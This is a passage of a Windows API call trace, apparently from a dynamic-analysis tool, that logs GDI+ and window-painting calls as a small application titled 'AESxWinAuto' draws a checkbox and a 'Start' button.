returned 0x20c4e8 [0065.486] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.486] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.486] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.486] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.486] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.486] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.486] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea40) returned 0x0 [0065.486] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aea30) returned 0x0 [0065.486] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3aea30) returned 0x0 [0065.486] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.486] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea48) returned 0x0 [0065.486] GetCurrentObject (hdc=0x1a010944, type=0x1) returned 0x1b00017 [0065.486] GetCurrentObject (hdc=0x1a010944, type=0x2) returned 0x1900010 [0065.486] GetCurrentObject (hdc=0x1a010944, type=0x7) returned 0x3d05094d [0065.486] GetCurrentObject (hdc=0x1a010944, type=0x6) returned 0x18a002e [0065.486] SaveDC (hdc=0x1a010944) returned 1 [0065.486] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xbf040957 [0065.486] GetClipRgn (hdc=0x1a010944, hrgn=0xbf040957) returned 0 [0065.486] SelectClipRgn (hdc=0x1a010944, hrgn=0x2e040945) returned 2 [0065.486] DeleteObject (ho=0xbf040957) returned 1 [0065.486] DeleteObject (ho=0x2e040945) returned 1 [0065.486] OffsetViewportOrgEx (in: hdc=0x1a010944, x=0, y=0, lppt=0x2610864 | out: lppt=0x2610864) returned 1 [0065.486] IsAppThemed () returned 0x1 [0065.486] GetThemeAppProperties () returned 0x3 [0065.486] GetThemeAppProperties () returned 0x3 [0065.486] DrawThemeBackground () returned 0x0 [0065.486] RestoreDC (hdc=0x1a010944, nSavedDC=-1) returned 1 [0065.486] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1a010944) returned 0x0 [0065.486] GdipGetTextRenderingHint (graphics=0x4ba1580, mode=0x3aea4c) returned 0x0 [0065.487] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea38) returned 0x0 [0065.487] GetCurrentObject (hdc=0x1a010944, type=0x1) returned 0x1b00017 [0065.487] GetCurrentObject (hdc=0x1a010944, type=0x2) returned 0x1900010 [0065.487] GetCurrentObject (hdc=0x1a010944, type=0x7) returned 0x3d05094d [0065.487] GetCurrentObject (hdc=0x1a010944, type=0x6) returned 0x18a002e [0065.487] SaveDC (hdc=0x1a010944) returned 1 [0065.487] GetTextAlign (hdc=0x1a010944) returned 0x0 [0065.487] GetTextColor (hdc=0x1a010944) returned 0x0 [0065.487] GetCurrentObject (hdc=0x1a010944, type=0x6) returned 0x18a002e [0065.487] GetObjectW (in: h=0x18a002e, c=92, pv=0x3ae798 | out: pv=0x3ae798) returned 92 [0065.487] SelectObject (hdc=0x1a010944, h=0x70a0932) returned 0x18a002e [0065.487] GetBkMode (hdc=0x1a010944) returned 2 [0065.487] SetBkMode (hdc=0x1a010944, mode=1) returned 2 [0065.487] DrawTextExW (in: hdc=0x1a010944, lpchText="checkBox1", cchText=9, lprc=0x3ae87c, format=0x102414, lpdtp=0x2610b3c | out: lpchText="checkBox1", lprc=0x3ae87c) returned 13 [0065.487] DrawTextExW (in: hdc=0x1a010944, lpchText="checkBox1", cchText=9, lprc=0x3ae9cc, format=0x102014, lpdtp=0x2610b3c | out: lpchText="checkBox1", lprc=0x3ae9cc) returned 13 [0065.487] RestoreDC (hdc=0x1a010944, nSavedDC=-1) returned 1 [0065.487] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1a010944) returned 0x0 [0065.488] GetFocus () returned 0x1025e [0065.488] GdipGetDC (graphics=0x4ba1580, hdc=0x3aebd4) returned 0x0 [0065.488] BitBlt (hdc=0x180107ac, x=0, y=0, cx=80, cy=17, hdcSrc=0x1a010944, x1=0, y1=0, rop=0xcc0020) returned 1 [0065.488] GdipReleaseDC (graphics=0x4ba1580, hdc=0x1a010944) returned 0x0 [0065.488] SelectPalette (hdc=0x180107ac, hPal=0x188000b, bForceBkgd=0) returned 0x10080948 [0065.488] SelectObject (hdc=0x1a010944, h=0x185000f) returned 0x3d05094d [0065.488] DeleteDC (hdc=0x1a010944) returned 1 [0065.488] GdipDeleteGraphics (graphics=0x4ba1580) returned 0x0 [0065.488] EndPaint (hWnd=0x1024e, lpPaint=0x3aeb78) returned 1 [0065.488] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.488] IsWindowUnicode (hWnd=0x10250) returned 1 [0065.488] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.488] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.488] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.488] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10250, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0065.488] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.488] IsWindowUnicode (hWnd=0x10260) returned 1 [0065.488] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.488] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.488] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.488] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0065.488] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.488] IsWindowUnicode (hWnd=0x10252) returned 1 [0065.488] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.488] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.488] DispatchMessageW (lpMsg=0x3af06c) returned 0x1 [0065.488] CallWindowProcW (lpPrevWndFunc=0x748b67e0, hWnd=0x10252, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0065.488] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae69c | out: lpwndpl=0x3ae69c) returned 1 [0065.488] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae640 | out: lpRect=0x3ae640) returned 1 [0065.489] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.489] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.489] GetSystemMetrics (nIndex=42) returned 0 [0065.489] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae500, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.489] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae500) returned 0xb [0065.489] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae548 | out: lpRect=0x3ae548) returned 1 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x1) returned 0x1b00017 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x2) returned 0x1900010 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x7) returned 0xb050946 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x6) returned 0x18a002e [0065.489] SaveDC (hdc=0x11010943) returned 1 [0065.489] GetNearestColor (hdc=0x11010943, color=0xf0f0f0) returned 0xf0f0f0 [0065.489] CreateSolidBrush (color=0xf0f0f0) returned 0x24100940 [0065.489] FillRect (hDC=0x11010943, lprc=0x3ae3e8, hbr=0x24100940) returned 1 [0065.489] DeleteObject (ho=0x24100940) returned 1 [0065.489] RestoreDC (hdc=0x11010943, nSavedDC=-1) returned 1 [0065.489] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.489] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.489] GetSystemMetrics (nIndex=42) returned 0 [0065.489] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4a0, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.489] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4a0) returned 0xb [0065.489] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4e8 | out: lpRect=0x3ae4e8) returned 1 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x1) returned 0x1b00017 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x2) returned 0x1900010 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x7) returned 0xb050946 [0065.489] GetCurrentObject (hdc=0x11010943, type=0x6) returned 0x18a002e [0065.489] SaveDC (hdc=0x11010943) returned 1 [0065.489] GetNearestColor (hdc=0x11010943, color=0xf0f0f0) returned 0xf0f0f0 [0065.489] CreateSolidBrush (color=0xf0f0f0) returned 0x25100940 [0065.489] FillRect (hDC=0x11010943, lprc=0x3ae388, hbr=0x25100940) returned 1 [0065.489] DeleteObject (ho=0x25100940) returned 1 [0065.489] RestoreDC (hdc=0x11010943, nSavedDC=-1) returned 1 [0065.489] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.489] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.490] GetSystemMetrics (nIndex=42) returned 0 [0065.490] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4a0, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.490] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4a0) returned 0xb [0065.490] SetTextColor (hdc=0x11010943, color=0x0) returned 0x0 [0065.490] SetBkColor (hdc=0x11010943, color=0xffffff) returned 0xffffff [0065.490] GetSysColorBrush (nIndex=5) returned 0x1100060 [0065.490] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.490] IsWindowUnicode (hWnd=0x10256) returned 1 [0065.490] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.490] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.490] DispatchMessageW (lpMsg=0x3af06c) returned 0x1 [0065.490] CallWindowProcW (lpPrevWndFunc=0x748299d0, hWnd=0x10256, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0065.490] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.490] IsWindowUnicode (hWnd=0x10258) returned 1 [0065.490] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.490] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.490] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.490] BeginPaint (in: hWnd=0x10258, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x701093a [0065.490] EndPaint (hWnd=0x10258, lpPaint=0x3aeb6c) returned 1 [0065.490] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.490] IsWindowUnicode (hWnd=0x1025a) returned 1 [0065.490] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.490] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.490] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.490] BeginPaint (in: hWnd=0x1025a, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x180107ac [0065.490] EndPaint (hWnd=0x1025a, lpPaint=0x3aeb6c) returned 1 [0065.490] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.491] IsWindowUnicode (hWnd=0x1025c) returned 1 [0065.491] GetMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0065.491] TranslateMessage (lpMsg=0x3af06c) returned 0 [0065.491] DispatchMessageW (lpMsg=0x3af06c) returned 0x0 [0065.491] BeginPaint (in: hWnd=0x1025c, lpPaint=0x3aeb70 | out: lpPaint=0x3aeb70) returned 0x701093a [0065.491] SelectPalette (hdc=0x701093a, hPal=0x10080948, bForceBkgd=1) returned 0x188000b [0065.491] CreateCompatibleDC (hdc=0x701093a) returned 0x24010944 [0065.491] DeleteObject (ho=0x3d05094d) returned 1 [0065.491] GetObjectType (h=0x701093a) returned 0x3 [0065.491] CreateCompatibleBitmap (hdc=0x701093a, cx=1, cy=1) returned 0x4a05093b [0065.491] GetDIBits (in: hdc=0x701093a, hbm=0x4a05093b, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x3ae640, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae640) returned 1 [0065.491] GetDIBits (in: hdc=0x701093a, hbm=0x4a05093b, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x3ae640, usage=0x0 | out: lpvBits=0x0, lpbmi=0x3ae640) returned 1 [0065.491] DeleteObject (ho=0x4a05093b) returned 1 [0065.491] CreateDIBSection (in: hdc=0x701093a, lpbmi=0x3ae690, usage=0x0, ppvBits=0x3aeb84, hSection=0x0, offset=0x0 | out: ppvBits=0x3aeb84) returned 0x3e05094d [0065.492] SelectObject (hdc=0x24010944, h=0x3e05094d) returned 0x185000f [0065.492] GdipCreateFromHDC (hdc=0x24010944, graphics=0x3aeb68) returned 0x0 [0065.492] GdipTranslateWorldTransform (graphics=0x4ba1580, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0065.492] GdipSetClipRectI (graphics=0x4ba1580, x=0, y=0, width=84, height=23, combineMode=0x0) returned 0x0 [0065.492] GdipCreateMatrix (matrix=0x3aebd0) returned 0x0 [0065.492] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.492] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3aebe8) returned 0x0 [0065.492] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.492] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.492] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.492] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.492] GdipCreateRegion (region=0x3aebd0) returned 0x0 [0065.492] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.492] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3aebdc) returned 0x0 [0065.492] GdipSaveGraphics (graphics=0x4ba1580, state=0x3aec08) returned 0x0 [0065.492] GdipRestoreGraphics (graphics=0x4ba1580, state=0xfda00dbd) returned 0x0 [0065.492] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.492] GdipGetDC (graphics=0x4ba1580, hdc=0x3aea2c) returned 0x0 [0065.492] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.492] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.492] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.493] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.493] SaveDC (hdc=0x24010944) returned 1 [0065.493] GetNearestColor (hdc=0x24010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.493] GetNearestColor (hdc=0x24010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.493] GetNearestColor (hdc=0x24010944, color=0x696969) returned 0x696969 [0065.493] GetNearestColor (hdc=0x24010944, color=0xa0a0a0) returned 0xa0a0a0 [0065.493] GetNearestColor (hdc=0x24010944, color=0x0) returned 0x0 [0065.493] GetNearestColor (hdc=0x24010944, color=0xffffff) returned 0xffffff [0065.493] GetNearestColor (hdc=0x24010944, color=0xe5e5e5) returned 0xe5e5e5 [0065.493] GetNearestColor (hdc=0x24010944, color=0xd7d7d7) returned 0xd7d7d7 [0065.493] GetNearestColor (hdc=0x24010944, color=0x0) returned 0x0 [0065.493] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.493] GdipReleaseDC (graphics=0x4ba1580, hdc=0x24010944) returned 0x0 [0065.493] IsAppThemed () returned 0x1 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x3aea44, fWinIni=0x0 | out: pvParam=0x3aea44) returned 1 [0065.493] SendMessageW (hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.493] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0065.493] IsAppThemed () returned 0x1 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] GetCurrentObject (hdc=0x15010934, type=0x6) returned 0x70a0932 [0065.493] GetObjectW (in: h=0x70a0932, c=92, pv=0x3ae78c | out: pv=0x3ae78c) returned 92 [0065.493] DrawTextExW (in: hdc=0x15010934, lpchText="Start", cchText=5, lprc=0x3ae8c8, format=0x102415, lpdtp=0x2612840 | out: lpchText="Start", lprc=0x3ae8c8) returned 13 [0065.493] IsAppThemed () returned 0x1 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] IsAppThemed () returned 0x1 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] IsAppThemed () returned 0x1 [0065.493] GetThemeAppProperties () returned 0x3 [0065.493] GetThemeAppProperties () returned 0x3 [0065.494] IsAppThemed () returned 0x1 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] IsThemePartDefined () returned 0x1 [0065.494] IsAppThemed () returned 0x1 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0065.494] IsAppThemed () returned 0x1 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] IsAppThemed () returned 0x1 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] GetThemeAppProperties () returned 0x3 [0065.494] IsThemePartDefined () returned 0x1 [0065.494] GdipCreateRegion (region=0x3ae8e8) returned 0x0 [0065.494] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.494] GdipCreateMatrix (matrix=0x3ae8e8) returned 0x0 [0065.494] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.494] GdipIsMatrixIdentity (matrix=0x4bf37e0, result=0x3ae900) returned 0x0 [0065.494] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.494] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.494] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.494] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.494] GdipGetMatrixElements (matrix=0x4bf37e0, matrixOut=0x20c4e8) returned 0x0 [0065.494] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.494] GdipDeleteMatrix (matrix=0x4bf37e0) returned 0x0 [0065.494] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae92c) returned 0x0 [0065.494] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae91c) returned 0x0 [0065.494] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae91c) returned 0x0 [0065.494] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.494] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae934) returned 0x0 [0065.494] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.494] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.494] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.494] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.494] SaveDC (hdc=0x24010944) returned 1 [0065.494] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x30040945 [0065.494] GetClipRgn (hdc=0x24010944, hrgn=0x30040945) returned 0 [0065.494] SelectClipRgn (hdc=0x24010944, hrgn=0xc5040957) returned 2 [0065.494] DeleteObject (ho=0x30040945) returned 1 [0065.495] DeleteObject (ho=0xc5040957) returned 1 [0065.495] OffsetViewportOrgEx (in: hdc=0x24010944, x=0, y=0, lppt=0x2612f7c | out: lppt=0x2612f7c) returned 1 [0065.495] DrawThemeParentBackground () returned 0x0 [0065.495] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6a8 | out: lpwndpl=0x3ae6a8) returned 1 [0065.495] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae64c | out: lpRect=0x3ae64c) returned 1 [0065.495] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.495] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.495] GetSystemMetrics (nIndex=42) returned 0 [0065.495] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae50c, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.495] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae50c) returned 0xb [0065.495] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae554 | out: lpRect=0x3ae554) returned 1 [0065.495] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.495] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.495] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.495] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.495] SaveDC (hdc=0x24010944) returned 2 [0065.495] GetNearestColor (hdc=0x24010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.495] CreateSolidBrush (color=0xf0f0f0) returned 0x26100940 [0065.495] FillRect (hDC=0x24010944, lprc=0x3ae3f4, hbr=0x26100940) returned 1 [0065.495] DeleteObject (ho=0x26100940) returned 1 [0065.495] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.495] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.495] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.495] GetSystemMetrics (nIndex=42) returned 0 [0065.495] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.495] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.495] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4f4 | out: lpRect=0x3ae4f4) returned 1 [0065.495] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.495] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.495] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.495] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.495] SaveDC (hdc=0x24010944) returned 2 [0065.495] GetNearestColor (hdc=0x24010944, color=0xf0f0f0) returned 0xf0f0f0 [0065.496] CreateSolidBrush (color=0xf0f0f0) returned 0x27100940 [0065.496] FillRect (hDC=0x24010944, lprc=0x3ae394, hbr=0x27100940) returned 1 [0065.496] DeleteObject (ho=0x27100940) returned 1 [0065.496] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.496] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0065.496] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0065.496] GetSystemMetrics (nIndex=42) returned 0 [0065.496] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae4ac, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0065.496] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae4ac) returned 0xb [0065.496] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.496] GdipReleaseDC (graphics=0x4ba1580, hdc=0x24010944) returned 0x0 [0065.496] IsAppThemed () returned 0x1 [0065.496] GetThemeAppProperties () returned 0x3 [0065.496] GetThemeAppProperties () returned 0x3 [0065.496] IsAppThemed () returned 0x1 [0065.496] GetThemeAppProperties () returned 0x3 [0065.496] GetThemeAppProperties () returned 0x3 [0065.496] IsThemePartDefined () returned 0x1 [0065.496] GdipCreateRegion (region=0x3ae8ac) returned 0x0 [0065.496] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.496] GdipCreateMatrix (matrix=0x3ae8ac) returned 0x0 [0065.496] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4be2be0) returned 0x0 [0065.496] GdipIsMatrixIdentity (matrix=0x4be2be0, result=0x3ae8c4) returned 0x0 [0065.496] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.496] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.496] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.496] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x20c4e8 [0065.496] GdipGetMatrixElements (matrix=0x4be2be0, matrixOut=0x20c4e8) returned 0x0 [0065.496] LocalFree (hMem=0x20c4e8) returned 0x0 [0065.496] GdipDeleteMatrix (matrix=0x4be2be0) returned 0x0 [0065.496] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8f0) returned 0x0 [0065.496] GdipIsInfiniteRegion (region=0x4b5e7d8, graphics=0x4ba1580, result=0x3ae8e0) returned 0x0 [0065.496] GdipGetRegionHRgn (region=0x4b5e7d8, graphics=0x4ba1580, hRgn=0x3ae8e0) returned 0x0 [0065.496] GdipDeleteRegion (region=0x4b5e7d8) returned 0x0 [0065.496] GdipGetDC (graphics=0x4ba1580, hdc=0x3ae8f8) returned 0x0 [0065.496] GetCurrentObject (hdc=0x24010944, type=0x1) returned 0x1b00017 [0065.496] GetCurrentObject (hdc=0x24010944, type=0x2) returned 0x1900010 [0065.496] GetCurrentObject (hdc=0x24010944, type=0x7) returned 0x3e05094d [0065.496] GetCurrentObject (hdc=0x24010944, type=0x6) returned 0x18a002e [0065.497] SaveDC (hdc=0x24010944) returned 1 [0065.497] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc6040957 [0065.497] GetClipRgn (hdc=0x24010944, hrgn=0xc6040957) returned 0 [0065.497] SelectClipRgn (hdc=0x24010944, hrgn=0x32040945) returned 2 [0065.497] DeleteObject (ho=0xc6040957) returned 1 [0065.497] DeleteObject (ho=0x32040945) returned 1 [0065.497] OffsetViewportOrgEx (in: hdc=0x24010944, x=0, y=0, lppt=0x2613814 | out: lppt=0x2613814) returned 1 [0065.497] IsAppThemed () returned 0x1 [0065.497] GetThemeAppProperties () returned 0x3 [0065.497] GetThemeAppProperties () returned 0x3 [0065.497] DrawThemeBackground () returned 0x0 [0065.497] RestoreDC (hdc=0x24010944, nSavedDC=-1) returned 1 [0065.497] GdipReleaseDC (graphics=0x4ba1580, hdc=0x24010944) returned 0x0 [0065.497] GdipCreateRegion (region=0x3ae894) returned 0x0 [0065.497] GdipGetClip (graphics=0x4ba1580, region=0x4b5e7d8) returned 0x0 [0065.497] GdipCreateMatrix (matrix=0x3ae894) returned 0x0 [0065.497] GdipGetWorldTransform (graphics=0x4ba1580, matrix=0x4bf37e0) returned 0x0 [0065.497] 